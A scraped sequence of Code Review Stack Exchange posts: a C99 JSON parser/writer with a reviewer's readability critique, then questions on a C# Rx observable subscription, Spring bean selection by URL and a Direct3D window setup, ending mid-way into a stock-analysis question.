void json_write_string(FILE *f,JSON_String *,size_t indentation);
//same as json_write_*(stdout,...)
void json_print_element(JSON_Element *,size_t indentation);
void json_print_object(JSON_Object *,size_t indentation);
void json_print_array(JSON_Array *,size_t indentation);
void json_print_string(JSON_String *,size_t indentation);
#ifdef __cplusplus
}
#endif // __cplusplus
</code></pre>
<h2>utils.h</h2>
<pre><code>#pragma once
#ifdef __cplusplus
#include <cstddef>
#include <cstdint>
#define NORETURN [[noreturn]]
extern "C" {
#else
#include <stddef.h>
#include <stdint.h>
#define NORETURN __attribute__((__noreturn__))
#endif // __cplusplus
size_t str_hash(const char * s);
NORETURN void err_exit(const char * fmt,...);
#ifdef __cplusplus
}
#endif // __cplusplus
</code></pre>
<h2>json.c</h2>
<pre><code>#include "json.h"
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <stdbool.h>
#include <string.h>
#include <stddef.h>
#include <stdint.h>
#include <stdarg.h>
#define OOM_EXIT() err_exit("Out of Memory in %s",__func__)
static void json_cleanup_element(void * p);
typedef struct JSON_Object_Table_Elem {
uint32_t size;
uint32_t alloc;
void * arr;
} JSON_Object_Table_Elem;
typedef struct JSON_Object_Table {
uint32_t num_buckets;
uint32_t item_size;
JSON_Object_Table_Elem buckets[];
} JSON_Object_Table;
typedef JSON_Object_Table table;
typedef JSON_Object_Table_Elem table_elem;
static table * alloc_table(size_t num_buckets,size_t item_size){
table * tbl=calloc(1,sizeof(table)+
(num_buckets*sizeof(table_elem)));
tbl->num_buckets=num_buckets;
tbl->item_size=item_size;
return tbl;
}
static void table_cleanup(table * tbl,void (*cleanup)(void*)){
uint32_t isz=tbl->item_size;
for(uint32_t i=0;i<tbl->num_buckets;i++){
if(tbl->buckets[i].arr){
uint32_t sz=tbl->buckets[i].size*isz;
for(uint32_t j=0;j<sz;j+=isz){
if(cleanup) cleanup(&((uint8_t *)tbl->buckets[i].arr)[j]);
}
free(tbl->buckets[i].arr);
}
}
free(tbl);
}
static void table_add_item(table * tbl,void * item,uint32_t (*hash)(void*)){
table_elem * e=&tbl->buckets[hash(item)%tbl->num_buckets];
if(e->arr){
if(e->alloc==e->size){
uint32_t new_alloc=e->alloc*2;//growth factor 2
e->arr=realloc(e->arr,new_alloc*tbl->item_size);
if(!e->arr){
OOM_EXIT();
}
e->alloc=new_alloc;
}
}else{
e->arr=calloc(4,tbl->item_size);
e->alloc=4;
}
memcpy((uint8_t*)e->arr+((e->size++)*tbl->item_size),item,tbl->item_size);
}
static void * table_find_item(table * tbl,void * key,uint32_t (*hash)(void*),int (*compare)(void*,void*)){
table_elem * e=&tbl->buckets[hash(key)%tbl->num_buckets];
if(!(e->arr&&e->size)) return NULL;
uint8_t * arr=e->arr;
uint32_t isz=tbl->item_size;
uint32_t sz=e->size*isz;
for(uint32_t i=0;i<sz;i+=isz){
if(compare(&arr[i],key)){
return &arr[i];
}
}
return NULL;
}
typedef struct JSON_ObjectEntry {
char * key;
JSON_Element elem;
} JSON_ObjectEntry;
JSON_Object * json_make_object(){
JSON_Object * obj=&((JSON_Element*)calloc(1,sizeof(JSON_Element)))->_obj;
obj->type=JSON_OBJECT;
obj->tbl=alloc_table(32,sizeof(JSON_ObjectEntry));
return obj;
}
static int json_object_find_compare_keys(void * item,void * key){
return strcmp(((JSON_ObjectEntry*)item)->key,(const char *)key)==0;
}
static uint32_t json_object_item_hash(void * item){
return str_hash(((JSON_ObjectEntry*)item)->key);
}
static uint32_t json_object_key_hash(void * key){
return str_hash((const char *)key);
}
JSON_Element * json_object_get_n(JSON_Object * obj,const char * key,size_t n){
JSON_ObjectEntry * entry=table_find_item(obj->tbl,(void*)key,json_object_key_hash,json_object_find_compare_keys);
if(entry){
return &entry->elem;
}else{
return NULL;
}
}
JSON_Element * json_object_get(JSON_Object * obj,const char * key){
return json_object_get_n(obj,key,strlen(key));
}
void json_object_set_n(JSON_Object * obj,const char * key,size_t n,JSON_Element * elem){
JSON_ObjectEntry * entry=table_find_item(obj->tbl,(void*)key,json_object_key_hash,json_object_find_compare_keys);
if(entry){
json_cleanup_element(&entry->elem);
memcpy(&entry->elem,elem,sizeof(JSON_Element));
}else{
JSON_ObjectEntry new_entry = {
.key=calloc(n+1,sizeof(char)),
.elem={{0}},
};
memcpy(new_entry.key,key,n);
memcpy(&new_entry.elem,elem,sizeof(JSON_Element));
table_add_item(obj->tbl,&new_entry,json_object_item_hash);
}
free(elem);
}
void json_object_set(JSON_Object * obj,const char * key,JSON_Element * elem){
json_object_set_n(obj,key,strlen(key),elem);
}
static void json_cleanup_object(JSON_Object * obj){
if(!obj)return;
table_cleanup(obj->tbl,json_cleanup_element);
}
void json_free_object(JSON_Object * obj){
if(!obj)return;
json_cleanup_object(obj);
free(obj);
}
JSON_Array * json_make_array(){
JSON_Array * arr=&((JSON_Element*)calloc(1,sizeof(JSON_Element)))->_arr;
arr->type=JSON_ARRAY;
return arr;
}
static void json_cleanup_array(JSON_Array * arr){
if(!arr)return;
if(arr->arr){
size_t sz=arr->size;
for(size_t i=0;i<sz;i++){
json_cleanup_element(&arr->arr[i]);
}
free(arr->arr);
}
}
void json_free_array(JSON_Array * arr){
if(!arr)return;
json_cleanup_array(arr);
free(arr);
}
JSON_Element * json_array_get(JSON_Array * arr,size_t index){
if(index>arr->size){
return NULL;
}
return arr->arr+index;
}
void json_array_set(JSON_Array * arr,JSON_Element * elem,size_t index){
if(index>arr->size)return;
json_cleanup_element(arr->arr+index);
memcpy(arr->arr+index,elem,sizeof(JSON_Element));
free(elem);
}
static void json_array_grow_by(JSON_Array * arr,size_t by){
if(arr->alloc>=(arr->size+by))return;
if(arr->arr){
arr->arr=realloc(arr->arr,(arr->size+by)*sizeof(JSON_Element));
}else{
arr->arr=calloc(by,sizeof(JSON_Element));
}
if(!arr->arr){
OOM_EXIT();
}
}
void json_array_push(JSON_Array * arr,JSON_Element * elem){
json_array_grow_by(arr,1);
memcpy(arr->arr+arr->size,elem,sizeof(JSON_Element));
++arr->size;
free(elem);
}
int json_array_insert(JSON_Array * arr,JSON_Element * elem,size_t index){
if(arr->size>index){
json_array_grow_by(arr,1);
memmove(arr->arr+index+1,arr->arr+index,((arr->size-index)-1)*sizeof(JSON_Element));
++arr->size;
memcpy(arr->arr+index,elem,sizeof(JSON_Element));
free(elem);
}else if(arr->size==index){
json_array_grow_by(arr,1);
++arr->size;
memcpy(arr->arr+index,elem,sizeof(JSON_Element));
free(elem);
}else{
//COULD NOT ADD, INVALID INDEX
return 1;
}
return 0;
}
void json_array_remove(JSON_Array * arr,size_t index){
if(arr->size>index){
json_cleanup_element(arr->arr+index);
--arr->size;
if(arr->size>index) memmove(arr->arr+index,arr->arr+index+1,(arr->size-index)*sizeof(JSON_Element));
}
}
JSON_String * json_make_string_n(const char * s,size_t n){
JSON_String * str=&((JSON_Element*)calloc(1,sizeof(JSON_Element)))->_str;
str->type=JSON_STRING;
str->str=calloc(n+1,sizeof(char));
memcpy(str->str,s,n);
str->str[n]=0;
str->len=n;
return str;
}
JSON_String * json_make_string(const char * s){
return json_make_string_n(s,strlen(s));
}
void json_set_string_n(JSON_String * str,const char * s,size_t n){
free(str->str);
str->str=calloc(n+1,sizeof(char));
memcpy(str->str,s,n);
str->str[n]=0;
str->len=n;
}
void json_set_string(JSON_String * str,const char * s){
json_set_string_n(str,s,strlen(s));
}
void json_cleanup_string(JSON_String * str){
if(!str)return;
free(str->str);
}
void json_free_string(JSON_String * str){
if(!str)return;
free(str->str);
free(str);
}
JSON_Integer * json_make_integer(int64_t i){
JSON_Integer * ie=&((JSON_Element*)calloc(1,sizeof(JSON_Element)))->_int;
ie->type=JSON_INTEGER;
ie->i=i;
return ie;
}
JSON_Double * json_make_double(double d){
JSON_Double * de=&((JSON_Element*)calloc(1,sizeof(JSON_Element)))->_double;
de->type=JSON_DOUBLE;
de->d=d;
return de;
}
static void json_cleanup_element(void * p){
if(!p)return;
JSON_Element * elem=p;
switch(elem->type){
case JSON_ARRAY:
json_cleanup_array(p);
break;
case JSON_OBJECT:
json_cleanup_object(p);
break;
case JSON_PARSE_ERROR:
case JSON_STRING:
json_cleanup_string(p);
break;
default:
break;
}
}
void json_free_element(JSON_Element * elem){
if(!elem)return;
json_cleanup_element(elem);
free(elem);
}
typedef struct parse_data {
size_t i;
size_t n;
const char * s;
} parse_data;
JSON_Element * parse_error(const char * fmt,...){
JSON_String * str=&((JSON_Element*)calloc(1,sizeof(JSON_Element)))->_str;
va_list arg1,arg2;
va_start(arg1,fmt);
va_copy(arg2,arg1);
size_t n=vsnprintf(NULL,0,fmt,arg2);
va_end(arg2);
str->type=JSON_PARSE_ERROR;
str->str=calloc(n+1,sizeof(char));
vsnprintf(str->str,n+1,fmt,arg1);
va_end(arg1);
str->str[n]=0;
str->len=n;
return (JSON_Element*)str;
}
static bool is_whitespace(char c){
return c==' '||c=='\t'||c=='\n'||c=='\r';
}
void skip_whitespace(parse_data * p){
while(p->i<p->n){
if(is_whitespace(p->s[p->i])){
++p->i;
}else if(p->s[p->i]=='/'&&(p->i+1<p->n)&&((p->s[p->i+1]=='/')||(p->s[p->i+1]=='*'))){
if(p->s[p->i+1]=='/'){
p->i+=2;
while(p->i<p->n&&p->s[p->i]!='\n')++p->i;
if(p->i<p->n)++p->i;
}else{
p->i+=2;
if(p->i<p->n)++p->i;
while(p->i<p->n&&p->s[p->i-1]!='*'&&p->s[p->i]!='/')++p->i;
if(p->i<p->n)++p->i;
}
}else{
break;
}
}
}
JSON_Element * json_parse(const char * s){
return json_parse_n(s,strlen(s));
}
static char unescape(char c){
switch(c) {
case 'a':
return '\a';
case 'b':
return '\b';
case 't':
return '\t';
case 'n':
return '\n';
case 'v':
return '\v';
case 'f':
return '\f';
case 'r':
return '\r';
default:
return c;
}
}
static JSON_Element * json_parse_string(parse_data * p){
skip_whitespace(p);
bool singlequote=false;
if(p->i>=p->n){
return parse_error("Expected '\"', got EOF");
}else if(p->s[p->i]=='\''){
singlequote=true;
}else if(p->s[p->i]!='"'){
return parse_error("Expected '\"', got %c",p->s[p->i]);
}
++p->i;
bool reading_escape=false;
size_t n=0,i=p->i;
for(;i<p->n;++i){
if(reading_escape){
n++;
reading_escape=false;
}else if(p->s[i]=='\\'){
reading_escape=true;
}else if(p->s[i]==(singlequote?'\'':'"')){
break;
}else{
n++;
}
}
if(i>=p->n){
return parse_error(reading_escape?"Expected '\"', got EOF":"Expected char got EOF");
}
JSON_String * str=&((JSON_Element*)calloc(1,sizeof(JSON_Element)))->_str;
str->type=JSON_STRING;
str->str=calloc(n+1,sizeof(char));
str->str[n]=0;
str->len=n;
reading_escape=false;
n=0;
for(;p->i<p->n;++p->i){
if(reading_escape){
str->str[n++]=unescape(p->s[p->i]);
reading_escape=false;
}else if(p->s[p->i]=='\\'){
reading_escape=true;
}else if(p->s[p->i]==(singlequote?'\'':'"')){
break;
}else{
str->str[n++]=p->s[p->i];
}
}
++p->i;
return (JSON_Element *)str;
}
JSON_Element * json_parse_element(parse_data * p);
JSON_Element * json_parse_object(parse_data * p){
skip_whitespace(p);
if(p->i>=p->n){
return parse_error("Expected '{', got EOF");
}else if(p->s[p->i]!='{'){
return parse_error("Expected '{', got %c",p->s[p->i]);
}
++p->i;
JSON_Object * obj=json_make_object();
while(true){
JSON_String * key=(JSON_String *)json_parse_string(p);
if(key->type==JSON_PARSE_ERROR){
json_free_object(obj);
return (JSON_Element*)key;
}
skip_whitespace(p);
if(p->i>=p->n){
json_free_string(key);
json_free_object(obj);
return parse_error("Expected ':', got EOF");
}else if(p->s[p->i]!=':'){
json_free_string(key);
json_free_object(obj);
return parse_error("Expected ':', got %c",p->s[p->i]);
}
++p->i;
JSON_Element * e=json_parse_element(p);
if(e->type==JSON_PARSE_ERROR){
json_free_string(key);
json_free_object(obj);
return e;
}
json_object_set_n(obj,key->str,key->len,e);
json_free_string(key);
skip_whitespace(p);
if(p->i>=p->n){
json_free_object(obj);
return parse_error("Expected '}', got EOF");
}else if(p->s[p->i]==','){
++p->i;
skip_whitespace(p);
if(p->s[p->i]=='}'){
++p->i;
return (JSON_Element*)obj;
}
}else if(p->s[p->i]=='}'){
++p->i;
return (JSON_Element*)obj;
}else{
json_free_object(obj);
return parse_error("Expected '}', got %c",p->s[p->i]);
}
}
json_free_object(obj);
return parse_error("Expected '}', got EOF");
}
JSON_Element * json_parse_array(parse_data * p){
skip_whitespace(p);
if(p->i>=p->n){
return parse_error("Expected '[', got EOF");
}else if(p->s[p->i]!='['){
return parse_error("Expected '[', got %c",p->s[p->i]);
}
++p->i;
JSON_Array * arr=json_make_array();
while(true){
JSON_Element * e=json_parse_element(p);
if(e->type==JSON_PARSE_ERROR){
json_free_array(arr);
return e;
}
json_array_push(arr,e);
skip_whitespace(p);
if(p->i>=p->n){
json_free_array(arr);
return parse_error("Expected ']', got EOF");
}else if(p->s[p->i]==','){
++p->i;
skip_whitespace(p);
if(p->s[p->i]==']'){
++p->i;
return (JSON_Element*)arr;
}
}else if(p->s[p->i]==']'){
++p->i;
return (JSON_Element*)arr;
}else{
json_free_array(arr);
return parse_error("Expected ']', got %c",p->s[p->i]);
}
}
json_free_array(arr);
return parse_error("Expected ']', got EOF");
}
typedef union numberdata {
double d;
int64_t i;
} numberdata;
JSON_Element * json_parse_number(parse_data * p){
skip_whitespace(p);
if(p->i>=p->n) return parse_error("Expected JSON Element, got EOF");
bool is_double=false;
bool is_negative=false;
bool is_valid=false;
size_t double_digit=1;
numberdata number={0};
switch(p->s[p->i]){
case '+':
is_negative=false;
++p->i;
break;
case '-':
is_negative=true;
++p->i;
break;
case '.':
is_double=true;
number.d=0;
++p->i;
break;
default:
if(p->s[p->i]<'0'||p->s[p->i]>'9'){
return parse_error("Expected Number, got %c",p->s[p->i]);
}
break;
}
for(;p->i<p->n;++p->i){
char c=p->s[p->i];
if(c>='0'&&c<='9'){
is_valid=true;
if(is_double){
number.d+=(c-'0')/pow(10,double_digit);
double_digit++;
}else{
number.i*=10;
number.i+=c-'0';
}
}else if(c=='.'){
if(is_double){
return parse_error("Expected Number, got %c",c);
}
is_double=true;
number.d=number.i;
}else if(is_valid){
if(is_double){
JSON_Double * d=&((JSON_Element*)calloc(1,sizeof(JSON_Element)))->_double;
d->type=JSON_DOUBLE;
d->d=is_negative?-number.d:number.d;
return (JSON_Element*)d;
}else{
JSON_Integer * i=&((JSON_Element*)calloc(1,sizeof(JSON_Element)))->_int;
i->type=JSON_INTEGER;
i->i=is_negative?-number.i:number.i;
return (JSON_Element*)i;
}
}else{
return parse_error("Expected Number, got %c",c);
}
}
if(is_valid){
if(is_double){
JSON_Double * d=&((JSON_Element*)calloc(1,sizeof(JSON_Element)))->_double;
d->type=JSON_DOUBLE;
d->d=is_negative?-number.d:number.d;
return (JSON_Element*)d;
}else{
JSON_Integer * i=&((JSON_Element*)calloc(1,sizeof(JSON_Element)))->_int;
i->type=JSON_INTEGER;
i->i=is_negative?-number.i:number.i;
return (JSON_Element*)i;
}
}
return parse_error("Expected Number, got EOF");
}
JSON_Element * json_parse_element(parse_data * p){
skip_whitespace(p);
if(p->i>=p->n) return parse_error("Expected JSON Element, got EOF");
char c=p->s[p->i];
switch(c){
case '{':
return json_parse_object(p);
case '[':
return json_parse_array(p);
case '"':
case '\'':
return json_parse_string(p);
default:
if((c>='0'&&c<='9')||c=='.'||c=='-'||c=='+'){
return json_parse_number(p);
}else if((p->i+4)<p->n&&p->s[p->i]=='f'&&p->s[p->i+1]=='a'&&p->s[p->i+2]=='l'&&p->s[p->i+3]=='s'&&p->s[p->i+3]=='e'){
JSON_Element * e=calloc(1,sizeof(JSON_Element));
e->type=JSON_FALSE;
p->i+=5;
return e;
}else if((p->i+3)<p->n){
if(p->s[p->i]=='t'&&p->s[p->i+1]=='r'&&p->s[p->i+2]=='u'&&p->s[p->i+3]=='e'){
JSON_Element * e=calloc(1,sizeof(JSON_Element));
e->type=JSON_TRUE;
p->i+=4;
return e;
}else if(p->s[p->i]=='n'&&p->s[p->i+1]=='u'&&p->s[p->i+2]=='l'&&p->s[p->i+3]=='l'){
JSON_Element * e=calloc(1,sizeof(JSON_Element));
e->type=JSON_NULL;
p->i+=4;
return e;
}
}
return parse_error("Expected JSON Element, got %c",c);
}
}
JSON_Element * json_parse_n(const char * data,size_t len){
parse_data p = {.i=0,.s=data,.n=len};
return json_parse_element(&p);
}
void write_indent(FILE * f,size_t indentation){
for(size_t i=0;i<indentation;i++){
fputs(" ",f);
}
}
void json_write_element(FILE * f,JSON_Element * elem,size_t indentation){
switch(elem->type){
case JSON_ARRAY:
json_write_array(f,&elem->_arr,indentation);
break;
case JSON_OBJECT:
json_write_object(f,&elem->_obj,indentation);
break;
case JSON_STRING:
json_write_string(f,&elem->_str,indentation);
break;
case JSON_INTEGER:
#if ULONG_MAX == 0xFFFFFFFFFFFFFFFFUL
fprintf(f,"%ld",elem->_int.i);
#elif ULONG_LONG_MAX == 0xFFFFFFFFFFFFFFFFUL
fprintf(f,"%lld",elem->_int.i);
#else
#error "Can't print 64-bit integer"
#endif
break;
case JSON_DOUBLE:
fprintf(f,"%f",elem->_double.d);
break;
case JSON_TRUE:
fprintf(f,"true");
break;
case JSON_FALSE:
fprintf(f,"false");
break;
case JSON_NULL:
fprintf(f,"null");
break;
case JSON_PARSE_ERROR:
fprintf(f,"PARSE ERROR: %s",elem->_str.str);
break;
}
}
static bool needs_escape(char c){
switch(c){
case '\a':
case '\b':
case '\t':
case '\n':
case '\v':
case '\f':
case '\r':
case '\\':
case '\"':
case '\'':
return true;
default:
return false;
}
}
static char escape(char c){
switch(c){
case '\a':
return 'a';
case '\b':
return 'b';
case '\t':
return 't';
case '\n':
return 'n';
case '\v':
return 'v';
case '\f':
return 'f';
case '\r':
return 'r';
default:
return c;
}
}
static void write_quoted(FILE * f,const char * str){
fputc('"',f);
char c;
while((c=*(str++))){
if(needs_escape(c)){
fputc('\\',f);
fputc(escape(c),f);
}else{
fputc(c,f);
}
}
fputc('"',f);
}
void json_write_object(FILE * f,JSON_Object * obj,size_t indentation){
fputc('{',f);
bool first=true;
for(uint32_t i=0;i<obj->tbl->num_buckets;i++){
if(obj->tbl->buckets[i].size&&obj->tbl->buckets[i].arr){
JSON_ObjectEntry * arr=obj->tbl->buckets[i].arr;
for(uint32_t j=0;j<obj->tbl->buckets[i].size;j++){
if(first){
first=false;
fputc('\n',f);
}else{
fputc(',',f);
fputc('\n',f);
}
write_indent(f,indentation+1);
write_quoted(f,arr[j].key);
fputc(':',f);
json_write_element(f,&arr[j].elem,indentation+1);
}
}
}
if(!first){
fputc('\n',f);
write_indent(f,indentation);
fputc('}',f);
}else{
fputc('}',f);
}
}
void json_write_array(FILE * f,JSON_Array * arr,size_t indentation){
fputc('[',f);
bool first=true;
if(arr->size&&arr->arr){
JSON_Element * a=arr->arr;
for(uint32_t i=0;i<arr->size;i++){
if(first){
first=false;
fputc('\n',f);
}else{
fputc(',',f);
fputc('\n',f);
}
write_indent(f,indentation+1);
json_write_element(f,&a[i],indentation+1);
}
}
if(!first){
fputc('\n',f);
write_indent(f,indentation);
fputc(']',f);
}else{
fputc(']',f);
}
}
void json_write_string(FILE * f,JSON_String * str,size_t indentation){
write_quoted(f,str->str);
}
void json_print_element(JSON_Element * elem,size_t indentation){
json_write_element(stdout,elem,indentation);
}
void json_print_object(JSON_Object * obj,size_t indentation){
json_write_object(stdout,obj,indentation);
}
void json_print_array(JSON_Array * arr,size_t indentation){
json_write_array(stdout,arr,indentation);
}
void json_print_string(JSON_String * str,size_t indentation){
json_write_string(stdout,str,indentation);
}
</code></pre>
<h2>utils.c</h2>
<pre><code>#include "utils.h"
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>
size_t str_hash(const char * s){
size_t hash = 5381;
// hash * 33 + c
while(*s++)hash = ((hash << 5) + hash) + ((size_t)*s);
return hash;
}
void err_exit(const char * fmt,...){
va_list arg;
va_start(arg,fmt);
vfprintf(stderr,fmt,arg);
va_end(arg);
exit(1);
}
</code></pre>
<h1>Test Code, C++ for simplicity</h1>
<h2>main.cpp</h2>
<pre><code>#include "json.h"
#include <iostream>
#include <fstream>
#include <sstream>
#include <cerrno>
#include <cstring>
static std::string readfile(const std::string &filename){
std::ostringstream ss;
std::ifstream f(filename);
if(!f)throw std::runtime_error(strerror(errno));
ss<<f.rdbuf();
return ss.str();
}
int main() {
std::string file=readfile("test.json");
JSON_Element * elem=json_parse_n(file.c_str(),file.size());
FILE * f=fopen("test_out.json","w");
if(!f){
json_free_element(elem);
throw std::runtime_error(strerror(errno));
}
json_write_element(f,elem,0);
json_free_element(elem);
fclose(f);
return 0;
}
</code></pre>
<p>Code is also available on <a href="https://github.com/RicardoLuis0/json_c" rel="nofollow noreferrer">Github</a></p>
|
[] |
[
{
"body": "<h2>Impenetrable code</h2>\n<p>I love C, but lines like these make me sad. They look like a strawman caricature of C designed by someone who wants to illustrate that it's a bad idea.</p>\n<pre><code>memcpy((uint8_t*)e->arr+((e->size++)*tbl->item_size),item,tbl->item_size);\n\n memmove(arr->arr+index+1,arr->arr+index,((arr->size-index)-1)*sizeof(JSON_Element));\n\n if(arr->size>index) memmove(arr->arr+index,arr->arr+index+1,(arr->size-index)*sizeof(JSON_Element));\n\n }else if(p->s[p->i]=='/'&&(p->i+1<p->n)&&((p->s[p->i+1]=='/')||(p->s[p->i+1]=='*'))){\n</code></pre>\n<p>and so on. I promise you that readability will increase and performance will not decrease by the introduction of whitespace and temporary variables.</p>\n<h2>Lookup arrays</h2>\n<pre><code>static char escape(char c){\n switch(c){\n case '\\a':\n return 'a';\n case '\\b':\n return 'b';\n case '\\t':\n return 't';\n case '\\n':\n return 'n';\n case '\\v':\n return 'v';\n case '\\f':\n return 'f';\n case '\\r':\n return 'r';\n default:\n return c;\n }\n}\n</code></pre>\n<p>can be re-modelled as a linear array of 256 characters. This can be initialized as a literal or at program start.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T03:56:40.467",
"Id": "255488",
"ParentId": "255454",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255488",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T02:04:06.207",
"Id": "255454",
"Score": "3",
"Tags": [
"c",
"json",
"c99"
],
"Title": "C99 JSON parser/writer"
}
|
255454
|
<p>I wanted to have a code review on the following Observable implementation, because there are many opinions and this one might not be the most efficient one. I would like to hear yours thoughts.</p>
<h3>What I know</h3>
<ol>
<li><p>I know it's better to use <code>.Select</code> or <code>.SelectMany</code> instead of <code>.Do</code>, because Do doesn't support asynchronous delegates, since the lambda passed is async void. In addition, Select and SelectMany are handling the exceptions, which Do doesn't.</p>
</li>
<li><p>I know that <code>Observable.Timer(TimeSpan.FromSeconds(1), TimeSpan.FromSeconds(1))</code> can be written as <code>Observable.Interval</code>. That's not the case here, it's just an example of something that won't naturally be disposed by itself and has to be handled manually.</p>
</li>
<li><p>I'm using a <code>Subject<T></code> instead of IDisposable because I want to be able to reset the subscription at some point, just like <a href="https://stackoverflow.com/questions/45308073/reset-and-dispose-observable-subscriber-reactive-extensions">here</a> (@Enigmativity's post).</p>
</li>
</ol>
<h3>Snippet</h3>
<pre class="lang-csharp prettyprint-override"><code>public class TestClass2 : IDisposable
{
private readonly Subject<IObservable<Unit>> _subject = new Subject<IObservable<Unit>>();
public void Test()
{
_subject.Switch().Subscribe();
var sub = Observable.Timer(TimeSpan.FromSeconds(1), TimeSpan.FromSeconds(1))
.SelectMany(_ => Observable.FromAsync(async () =>
{
Console.WriteLine("Test");
await Task.Delay(100);
}));
_subject.OnNext(sub);
}
public void Dispose()
{
_subject.OnNext(Observable.Never<Unit>());
Console.WriteLine("Disposed");
}
}
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T14:26:33.423",
"Id": "255467",
"Score": "0",
"Tags": [
"c#",
"system.reactive",
".net-5"
],
"Title": "Resetable async Observable subscription that won't naturally dispose itself"
}
|
255467
|
<p>I have a service that gets an URL from the user input, extracts the body content of this URL, apply CSS, and finally returns the result as a stream.</p>
<p>The tricky part is that I have different implementations depending on the URL, if the URL is not recognized, then a "default" implementation is used.
To do so, I used a BeanFactory to choose the correct implementation on Runtime.</p>
<pre><code>@Service
@Qualifier("defaultHtmlToHtmlService")
public class DefaultHtmlToHtmlImpl implements HtmlToHtmlService {
@Override
public InputStream htmlToHtml(String url) throws IOException {
Document document = Jsoup.connect(url).get();
Element content = document.body();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
outputStream.write(content.outerHtml().getBytes());
outputStream.close();
return new ByteArrayInputStream(outputStream.toByteArray());
}
}
@Component
public class BeanFactory {
private final HtmlToHtmlService defaultHtmlToHtmlService;
private final HtmlToHtmlService impl1;
private final HtmlToHtmlService impl2;
@Autowired
public BeanFactory(@Qualifier("defaultHtmlToHtmlImpl") HtmlToHtmlService defaultHtmlToHtmlService,
@Qualifier("impl1") HtmlToHtmlService impl1,
@Qualifier("impl2") HtmlToHtmlService impl2) {
this.defaultHtmlToHtmlService = defaultHtmlToHtmlService;
this.impl1 = impl1;
this.impl2 = impl2;
}
public HtmlToHtmlService getHtmlToHtmlImpl(String url) {
if (url.contains("some pattern")) {
return impl1;
} else if (url.contains("some other pattern")) {
return impl2;
} else {
return defaultHtmlToHtmlService;
}
}
</code></pre>
<p>This is working just fine. However, my issue is that I don't want my BeanFactory to share any information with the rest, but I do not know how to decouple it. Basically, I want to remove the <code>@Qualifier</code> annotation, and not to have to manually enter the new URLs patterns in the Bean Factory in the future when I will get more implementations.</p>
<p>I saw that maybe <code>@PostConstruct</code> annotation or to use static blocks could be the solution, but I am really not sure how to apply it in this case.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T11:09:37.673",
"Id": "504128",
"Score": "0",
"body": "Welcome to Code Review, when I saw your code doing different actions corresponding to different url patterns I thought about a filter class mapping redirection of different url patterns to different services. Have you considered this type of approach to your problem ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T11:14:45.603",
"Id": "504129",
"Score": "0",
"body": "Thank you. Indeed, I did not consider it but it seems like a good idea. Would you recommend some documentation or old post in particular?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T11:51:26.617",
"Id": "504131",
"Score": "0",
"body": "You are welcome. A possible approach can be found in [webfilter-mapping](https://stackoverflow.com/questions/38465566/spring-webfilter-mapping), or in alternative a java servlet httpfilter. My suggested approach is to map services to different urls to I can redirect to them basing on the original url submitted."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-04T14:26:43.473",
"Id": "504374",
"Score": "0",
"body": "@dariosicily Thank you for your answer and sorry for this late reply. I had a look, however I think I did not explain well my issue and therefore there is a misunderstanding. If I understood well, a filter is useful for intercepting HTTP requests (so at the controller level). However, my issue is that my I have only one controller that receives a multipartfile that contains a String (url of a website). It is this string that I need to analyse and therefore use the correct service."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T15:45:09.200",
"Id": "255468",
"Score": "0",
"Tags": [
"java",
"spring"
],
"Title": "Dynamically choose bean without Qualifier annotation"
}
|
255468
|
<p>I've just started to learn recently about Direct3D, when I've learned to create a simple window I started wondering if I could automate this process, so whenever I would need to create a window I would just need to call for a function with my configs already setup. This is the essential part of the code I've come out:</p>
<pre><code>void CreateWindow(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
//Inside this function is the code used to create a simple window.
{
HWND hWnd;
WNDCLASSEX(wc);
ZeroMemory(&wc, sizeof(WNDCLASSEX));
wc.cbSize = sizeof(WNDCLASSEX);
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpfnWndProc = WindowProc;
wc.hInstance = hInstance;
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.lpszClassName = L"D3D11Class";
wc.hbrBackground = (HBRUSH)COLOR_WINDOW;
RegisterClassEx(&wc);
hWnd = CreateWindowEx(NULL, L"D3D11Class", L"WINDOW", WS_OVERLAPPEDWINDOW, 50, 50, 1080, 720, NULL, NULL, hInstance, NULL);
ShowWindow(hWnd, nCmdShow);
Init3D(hWnd);
}
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
//The main function where the CreateWindow function was called, also used a loop to keep it running.
{
std::atexit(CleanD3D);
CreateWindow(hInstance, hPrevInstance, lpCmdLine, nCmdShow);
MSG msg;
while (true)
{
if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
if (msg.message == WM_QUIT)
{
break;
}
}
RenderFrame();
}
return msg.wParam;
}
</code></pre>
<p>Some of the functions I've used wasn't pasted here because I think they were irrelevant to what I want to be reviewed. Everything seems to be running fine when I execute the application, but I don't have sure this is the right way of doing things as I'm just a beginner, so if anyone which is more experienced on DirectX coding could advise me I would be thankfull.</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T20:19:27.090",
"Id": "255473",
"Score": "3",
"Tags": [
"c++",
"beginner",
"windows"
],
"Title": "Creating a simple windows instance capable of rendering Direct3D graphics"
}
|
255473
|
<p>A while ago I created a program for fundamental analysis of stocks. Back then, I used to enter all the values by hand, which took a lot of time and was very annoying if a value was entered incorrectly.
